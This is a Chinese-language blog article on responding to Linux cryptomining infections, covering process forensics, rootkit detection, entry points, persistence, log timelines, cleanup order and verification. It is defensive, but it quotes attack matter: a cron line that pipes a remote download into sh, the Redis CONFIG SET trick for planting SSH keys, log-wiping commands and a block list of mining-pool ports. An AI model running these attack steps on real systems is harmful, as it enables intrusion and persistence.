ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Linux 挖矿病毒应急响应:从 CPU 告警到入口与持久化排查

Linux 挖矿病毒应急响应:从 CPU 告警到入口与持久化排查 1. 凌晨告警先把慌和查这两件事分开凌晨两点零七分监控平台推了一条告警某台业务服务器 CPU 使用率连续十五分钟维持在 97% 以上负载从日常的 0.8 直接冲到 12.6。值班同事的第一反应是是不是又有人在跑批量任务第二反应是上去把进程杀掉就完了。这两种反应我都理解但在挖矿病毒的应急响应场景里第一种叫偷懒第二种叫冒险。先说结论CPU 跑满这件事本身不关键关键的是谁把 CPU 跑满了。挖矿木马的算力占用只是它的副产品真正要命的是它进来时走的那个入口——入口不堵上你今天杀掉一个挖矿进程明天回来的可能就不是挖矿程序了而是一个加密到你自己都解不开的东西。这篇我按真实的排查顺序来写从一台发烧的服务器开始到锁定入口、清理持久化、验证闭环。环境以 Linux 为主CentOS 7 和 Ubuntu 20.04 各占一半思路对 Windows 同样适用只是命令和注册表位置不一样。适合手上管着服务器、平时做运维或者刚转做应急的人看也适合想搞明白挖矿病毒到底藏在哪的安全爱好者。1.1 为什么第一步不是kill -9很多人拿到告警的第一动作是top找到高占用 PID然后kill -9。这个动作的代价比想象中大得多。第一进程一旦被杀死它的内存映像就没了。现代挖矿木马有相当一部分是无文件落地或者内存加载的/proc/pid/exe那个软链接指向的路径可能本身就是空的或者指向/memfd:xxx。这时候你把它杀掉等于把唯一能提取样本的入口给关了。第二很多挖矿木马带守护机制。你杀掉主进程父进程或者一个定时任务在 60 秒内把它重新拉起来而且新拉起来的实例可能会换个名字、换个路径甚至提前触发对抗动作——清空日志、删除自身、把入口漏洞再打一遍。第三杀掉进程解决不了持久化。木马真正的根在定时任务、systemd 服务、SSH 公钥、动态链接库劫持这几处进程只是它长出来的叶子。我更推荐的做法是先用kill -STOP pid把进程暂停。SIGSTOP 不会释放内存进程状态变成 TstoppedCPU 占用立刻归零业务侧的告警先降下来而证据完整保留。等你把cat /proc/pid/maps、ls -l /proc/pid/exe、ls -l /proc/pid/cwd、cat /proc/pid/cmdline这些信息都抄下来了再决定是杀还是留。提示kill -STOP之后别忘记这个进程还挂在进程表里清理阶段要记得补一刀kill -9否则重启前它会一直占着资源槽位。1.2 断网还是关机这个决策要在动手前做完第二个高频错误是先关机关机最干净。这个思路在勒索场景里可能是对的在挖矿场景里基本是错的。挖矿木马的价值在于持续在线挖它的行为模式是被动的、长周期的。你关机内存里所有东西清零当前的外联矿池地址、进程间的通信关系、还没落地到磁盘的载荷全没了。而且关机之后wtmp、btmp这类登录记录虽然还在磁盘上但内存里的utmp信息会丢。我的做法是把处置动作分成三档按现场情况选动作适用情形代价仅封出站流量业务不能停、需要继续观察行为木马仍在运行可能继续横向逻辑隔离保留管理通道大多数挖矿场景的首选需要在防火墙或安全组上精确配置物理断网/关机已经确认在横向扩散或涉及核心数据内存证据丢失恢复后需重新排查大多数情况下我会选第二档在安全组或者本机防火墙里把出站流量掐掉只留 22 端口给管理机。这样木马连不上矿池算力白烧但进程还活着我能继续看它的行为也能顺着它的连接去查它跟谁通信。具体落地可以用iptables做一条按目标端口封禁的策略。挖矿流量虽然也会用 443 做伪装但相当一部分还是走 3333、4444、5555、7777、8888、9999、14444 这类特色端口# 记录当前连接用于取证先不封 ss -antp | tee /tmp/conn_snapshot_$(date %s).txt # 封禁常见矿池端口出站注意顺序先放行管理段 iptables -A OUTPUT -p tcp -m multiport --dports 3333,4444,5555,7777,8888,9999,14444 -j DROP这里有个经验点封端口只是止血不是修复。真正的入口修复在后面第三章。2. 现场勘查把一个陌生进程从里到外问清楚隔离做完接下来是取证和分析。这一步的目标只有一个——搞清楚这个进程的身份信息它从哪来、谁拉起来的、跟谁说话、在磁盘上留了什么。我习惯把它拆成三条线并行推进进程线、文件线、网络线。三条线交叉出来的交点往往就是真相。2.1 进程的三个核心属性可执行路径、父进程、启动时间拿到一个可疑 PID先看这三样东西。PID12345 ls -l /proc/$PID/exe # 可执行文件真实路径注意 deleted 标记 ls -l /proc/$PID/cwd # 进程工作目录木马常在这里放配套文件 cat /proc/$PID/cmdline | tr \0 ; echo ps -o pid,ppid,lstart,etime,user,cmd -p $PID cat /proc/$PID/status | head -20/proc/$PID/exe后面的(deleted)标记是个强信号说明这个文件在磁盘上已经被删了但进程还在跑。这种情况通常是攻击者落地、执行、删除三步走为的是躲开基于文件扫描的检测。遇到这种直接从/proc/$PID/exe把它复制出来cp /proc/$PID/exe /tmp/evidence/sample_$PID.bin md5sum /tmp/evidence/sample_$PID.bin父进程PPID信息价值极高。如果 PPID 是一个 systemd 单元、一个 crontab 派生的 shell、或者一个已经退出的进程PPID 变成 1说明它的启动链路比较隐蔽。如果 PPID 指向的是 Web 中间件tomcat、java、nginx那基本可以确定入口在 Web 层。启动时间用来跟日志对齐。ps -o lstart给出的是绝对时间拿着它去比对/var/log/secure、/var/log/cron、Web access log 里的时间点中间那几分钟的记录往往就写着攻击者干了什么。2.2 进程、文件、连接三角定位单看进程容易漏单看文件容易误判单看连接容易跑偏三条线一起看才稳。网络线ss -antp | grep -E ESTAB|SYN lsof -p $PID -i cat /proc/$PID/net/tcp挖矿进程的典型特征是一条到境外 IP、端口看着很随意、长时间保持 ESTABLISHED 的连接。有些木马会把这个连接伪装成 443所以端口号本身不是判断依据判断依据是这台机器为什么需要连这个地址。文件线我习惯用时间维度去找比按目录找高效得多find / -xdev -type f -newermt 2024-11-01 00:00 ! -newermt 2024-11-02 00:00 2/dev/null | head -200把已知的入侵时间窗口往里一填当天新增或者被修改的文件会全部列出来。这个列表里通常会出现三类东西木马本体/tmp、/var/tmp、/dev/shm 下居多、下载器脚本.sh 结尾几 KB、以及被替换过的系统命令。进程线再补一刀看进程树ps -ef --forest | less pstree -p $PID--forest能把父子关系画出来一个可疑 shell 下面挂了三个curl这种结构一眼就能看出来。2.3 隐藏进程和被替换的命令识别对抗的痕迹如果攻击者装的是用户态 rootkit前面这些常规命令可能已经被动过手脚。判断方法有几个都不复杂第一比对进程表数量。ps -ef输出的行数跟/proc下纯数字目录的数量应该基本对得上差 1 到 2 个是正常的内核线程的显示方式差异会导致小偏差。ls -d /proc/[0-9]* | wc -l ps -ef | wc -l如果差异明显比如/proc里有 180 个目录但ps只显示 150 行那就有进程在藏。第二校验二进制文件完整性。CentOS 上用rpm -VaDebian 系用dpkg -V输出里如果出现ps、top、ss、ls、netstat、lsof这几个文件的校验值不一致基本可以定性。rpm -Va 2/dev/null | grep -E ^..5 | head -50第三检查预加载劫持。这是 Linux 挖矿木马最常用的一招cat /etc/ld.so.preload ls -l /lib64/libsystem.so /usr/lib/libsystem.so 2/dev/null lsmod | head -30/etc/ld.so.preload里如果写了一个你不知道的.so路径那这个库就在劫持所有动态链接的程序。常见名字是libsystem.so、libprocesshider.so、libxselinux.so。这个文件只要存在你后面所有的排查结果都要打折扣——因为你看的系统命令可能都在骗你。遇到这种情况我的建议是换一套干净的静态工具来做后续排查。用 BusyBox 或者静态编译的ps、ss、lsof跑一遍结果会不一样。也可以直接从别的干净机器上scp一份/bin/ps过来用绝对路径执行。3. 沿连接往上爬入口、持久化和横向的三条线索进程看清楚了接下来要回答一个更难的问题它是怎么进来的。这一步决定了你是处理了一台机器还是处理了一次入侵。3.1 入口排查优先看这几个位置挖矿病毒的入口有很明显的性价比偏好——成本低、批量大、不需要人工交互。按我遇到的频次排一下入口类型典型特征排查位置数据库未授权访问Redis 6379、MongoDB 27017 暴露公网且无密码redis-cli config get dir、INFO、keys *SSH 弱口令/密钥泄露secure/auth.log里大量失败后突然成功last、lastb、grep Accepted容器 API 未授权Docker 2375 暴露、挂载宿主/etcdocker ps -a、容器启动命令中间件反序列化WebLogic、Shiro、Fastjson、Confluence 历史漏洞中间件日志、access.log里的异常 POST应用配置类未授权Nacos、Spring Boot Actuator、Jenkins 匿名访问应用自身的审计日志大数据组件未授权Hadoop YARN、Spark、Flink 开放 WebUI组件日志、进程启动用户以 Redis 未授权为例这类入口的痕迹非常典型。攻击者会用CONFIG SET dir把工作目录改到/root/.ssh再CONFIG SET dbfilename authorized_keys然后写入自己的公钥。当时服务器上如果存在这个痕迹/root/.ssh/authorized_keys里就会有非本人的 key而redis的运行身份往往是 root。cat /root/.ssh/authorized_keys # 检查是否有陌生的 key注释里常带生成机器的用户名 redis-cli -h 127.0.0.1 config get dir redis-cli -h 127.0.0.1 config get dbfilename3.2 持久化的八个藏身点一个都别跳清理不干净九成是因为只清了进程和/tmp漏了持久化。我把要查的位置固定成一个清单每次照着走位置检查命令常见写法用户定时任务crontab -l、cat /var/spool/cron/** * * * * curl x.x.x.x|sh系统定时任务cat /etc/crontab、ls /etc/cron.d/伪装成sysupdate的任务名系统服务cat /etc/systemd/system/*.serviceDescriptionSystem Update启动脚本cat /etc/rc.local、/etc/init.d/追加一行 wget 执行动态库劫持cat /etc/ld.so.preload/usr/lib/libsystem.soSSH 后门authorized_keys、/etc/ssh/sshd_configPermitRootLogin yes被打开账号后门/etc/passwd中 UID 为 0 的账号伪装成sysadmin、nginx内核模块lsmod、/etc/modules-load.d/少见但存在排查的时候有个小技巧改文件的时间戳不会说谎或者说不容易说谎。用stat看/etc/crontab、/etc/rc.local这几个文件的 Change 时间如果它们的修改时间集中在入侵时间窗内那就基本可以锁定。stat /etc/crontab /etc/rc.local /etc/ld.so.preload 2/dev/null还有一点容易被忽略/var/spool/cron/下的文件名就是用户名ls -la看一遍出现一个你不认识的用户名就是后门账号。3.3 用日志把时间线还原出来排查到这一步手上应该已经有一堆时间点了。把它们按顺序排成一条时间线事情的全貌就出来了。日志位置按发行版分开记CentOS / RHEL/var/log/secure、/var/log/messages、/var/log/cronDebian / Ubuntu/var/log/auth.log、/var/log/syslog、/var/log/cron.log登录记录/var/log/wtmplast读、/var/log/btmplastb读、/var/log/lastloglastlog读查登录相关的几条命令last -aiF | head -50 # 成功登录带来源 IP 和完整时间 lastb -aiF | head -50 # 失败登录看爆破痕迹 grep -E Accepted|Failed /var/log/secure | tail -100判断逻辑很简单如果lastb显示来自同一个 IP 的高频失败记录后面紧跟一条last的成功记录那这个 IP 就是入口 IP账号就是被爆破下来的账号。这类爆破往往来自一批地址所以要按 IP 统计grep Failed password /var/log/secure | awk {print $(NF-3)} | sort | uniq -c | sort -rn | head -20Web 层的话去看 access log 里入侵时间点附近的异常请求重点是那些长度异常、参数带编码字符、UA 为空的请求。这类请求往往是漏洞利用的载荷虽然不一定能复现但能定位到打的是哪个路径从而推出是哪个组件有漏洞。有个小坑要提醒日志很可能是被清过的。攻击者进来之后经常执行echo /var/log/secure或者history -c。如果日志在某个时间点之后突然变得非常干净或者文件大小骤降到几百字节这本身就是一条极强的信号——正常运行的服务器日志不会凭空变短。4. 处置清除顺序、复发原因和验证清单到这里入口、持久化、时间线都有了。接下来是动手。这一步最容易出问题的不是技术难度而是顺序。4.1 处置顺序为什么不能颠倒我见过不少清理把机器搞成删了又回来的状态原因基本都是顺序错了。正确的顺序是这样的步骤动作为什么是这个顺序1保存证据内存快照、样本、日志一旦开始清除内存和连接信息立刻消失2隔离网络只留管理通道先止血阻止横向和继续下载3移除入口改密码、关端口、打补丁入口不封清完还会被重新打进来4移除持久化定时任务、服务、启动项、公钥持久化不除进程会被重新拉起5终止进程删除文件前面都做完了这一步才是安全的6验证清理结果逐项核对不靠感觉干净了7修复配置、加固、加监控闭环防止同类事件第 3 步放在第 5 步之前是很多人反着来的地方。如果你先杀进程、再处理入口中间这段时间木马会通过入口重新进来一遍而且这次它知道你在查它行为会更隐蔽。4.2 一次性清除还是重装这个决定要敢做有个现实问题要不要直接重装系统。我的判断标准是这样的。如果满足以下任意两条我会建议重装而不是清理入口涉及 rootkit 或内核模块、系统二进制被替换过rpm -Va大面积不一致、攻击者已经拿到 root 并且停留超过 24 小时、机器上有无法确认来源的.so文件。理由很直白被 rootkit 动过的系统你没法证明它干净。清理能清掉进程和文件但清不掉你心里的那句万一还有。生产环境里重装加数据恢复的代价往往比后面再被入侵一次的代价小得多。如果决定清理操作要注意几个细节# 1. 取出可疑文件的样本后先改属性再删 chattr -iae /tmp/kdevtmpfsi /tmp/kinsing 2/dev/null rm -f /tmp/kdevtmpfsi /tmp/kinsing # 2. 清空异常的 ld.so.preload先备份内容到证据目录 cp /etc/ld.so.preload /tmp/evidence/ld.so.preload.bak 2/dev/null /etc/ld.so.preload # 3. 删除异常定时任务用 crontab -e 编辑别直接 rm 文件 crontab -l /tmp/evidence/cron.bak crontab -r # 4. 停掉并删除异常 systemd 服务 systemctl stop sysupdate.service 2/dev/null systemctl disable sysupdate.service 2/dev/null rm -f /etc/systemd/system/sysupdate.service systemctl daemon-reloadchattr -iae这一步不能省。有些挖矿木马会给自己的文件加iimmutable属性你rm -f会得到Operation not permitted看着像删了其实没删。删之前先lsattr看一眼。4.3 验证清单不靠感觉靠逐项打勾清理完之后我一般会跑一遍验证清单。这个过程花不了十分钟但能省掉后面半夜爬起来的风险。# CPU 是否恢复正常 top -bn1 | head -15 # 可疑文件是否还在 ls -l /tmp /var/tmp /dev/shm # 定时任务是否清空 crontab -l; cat /etc/crontab; ls -l /etc/cron.d/ # 预加载是否清空 cat /etc/ld.so.preload 2/dev/null || echo no preload file # 是否有异常外联 ss -antp | grep ESTAB # 是否还有异常账号 awk -F: $30 {print $1} /etc/passwd # 是否有异常 SUID 文件 find / -xdev -perm -4000 -type f 2/dev/null注意验证至少要跑两轮。第一轮在清理后立刻跑第二轮在重启后跑。有些木马的持久化依赖启动流程重启前看不见重启后才露头。还有一件事必须做把这台机器当成已被感染集群的一员去查横向。查的方式有几个方向在防火墙上查这台机器在感染时间窗内主动连过哪些内网 IP在其它机器上查同一批 IOC文件哈希、矿池域名、钱包地址查内网是否有相同的弱口令账号。挖矿木马的横向手法通常不复杂多是复用同一个入口和同一套凭据所以顺着这条线往往能捞出一串。5. 复盘几件文档里不会写的判断细节5.1 钱包地址和矿池域名是最有价值的 IOC很多人清理完就走了把所有信息都丢在工单里。我建议至少把两样东西留下来矿池域名/IP和钱包地址。这两样东西在整个组织里是通用的一个攻击团伙在一段时间内往往复用同一套。拿到之后可以做的事很多在出口防火墙、DNS 日志、流量分析设备上加一条匹配规则在内网做一次全量扫描看看还有没有别的机器在连这个地址。这一步做完了一次单点事件才真正变成一次组织级防护。样本哈希也值得留。把md5sum和sha256sum的结果记进 IOC 表里配合杀毒引擎或者 YARA 规则可以在文件落地的第一时间发现。5.2 我踩过的几个坑第一个坑是以为清了 cron 就清了全部。有一次清完定时任务第二天早上又活了。后来发现那个木马在/etc/cron.d/下丢了一个文件而我只查了crontab -l。crontab -l只显示当前用户的/etc/cron.d/和/etc/crontab是系统级的得单独看。第二个坑是命令被替换后自己查自己。在某台机器上我反复跑ps -ef都看不到可疑进程直到换了静态编译的ps才看到。当时/bin/ps已经被替换掉了。从那以后我排查可疑主机时第一个动作是rpm -Va或者dpkg -V先确认工具是不是可信的。第三个坑是忽略了 Docker 里的矿机。宿主机的top只显示容器进程的一部分docker ps才是真相。有一次宿主机的 CPU 高得离谱宿主机上查了半天没结果docker ps -a一看多了一个来历不明的容器--privileged起的挂载了宿主的/etc就是通过它把定时任务塞进宿主机的。第四个坑是重启验证做得太晚。有个案例清理完当天一切正常第三天重启后木马又活了。原因是一个被塞进/etc/systemd/system/multi-user.target.wants/的软链接被我漏掉了——服务文件删了但 enabled 状态的软链接还在。systemctl list-unit-files --stateenabled这一条命令可以避免这个坑我现在每次都跑。5.3 最后说一个我觉得最有用的习惯排查过程中我习惯开一个文本文件记录每一次操作和发现。格式很随意就三列时间、动作、结果。比如02:15 执行ps --forest发现 PID 12345 父进程为 crond、02:38 查看/etc/ld.so.preload发现 libsystem.so 路径。这看起来是件很笨的事但它的价值在事后复盘时体现得特别明显。因为排查过程通常持续几个小时中间会接到各种电话、处理别的事情大脑的工作记忆很快就会覆盖掉前面的细节。等到要写报告、要跟业务方解释为什么必须重装的时候这份流水账就是唯一的依据。另外别在不确认的情况下给业务方已经安全了的承诺。我通常的说法是进程和持久化已经清理完毕入口已经封堵接下来需要重启后验证一轮以及排查内网其它机器。把不确定性讲清楚比讲一句让大家都舒服的话要负责任得多。挖矿病毒本身的技术含量不算高它的麻烦之处在于反复和隐蔽。把入口、持久化、横向这三条线都过一遍把处置顺序摆对把验证跑两轮绝大部分情况都能收得住。真遇上带 rootkit 的果断重装别在清理上跟自己较劲。
返回列表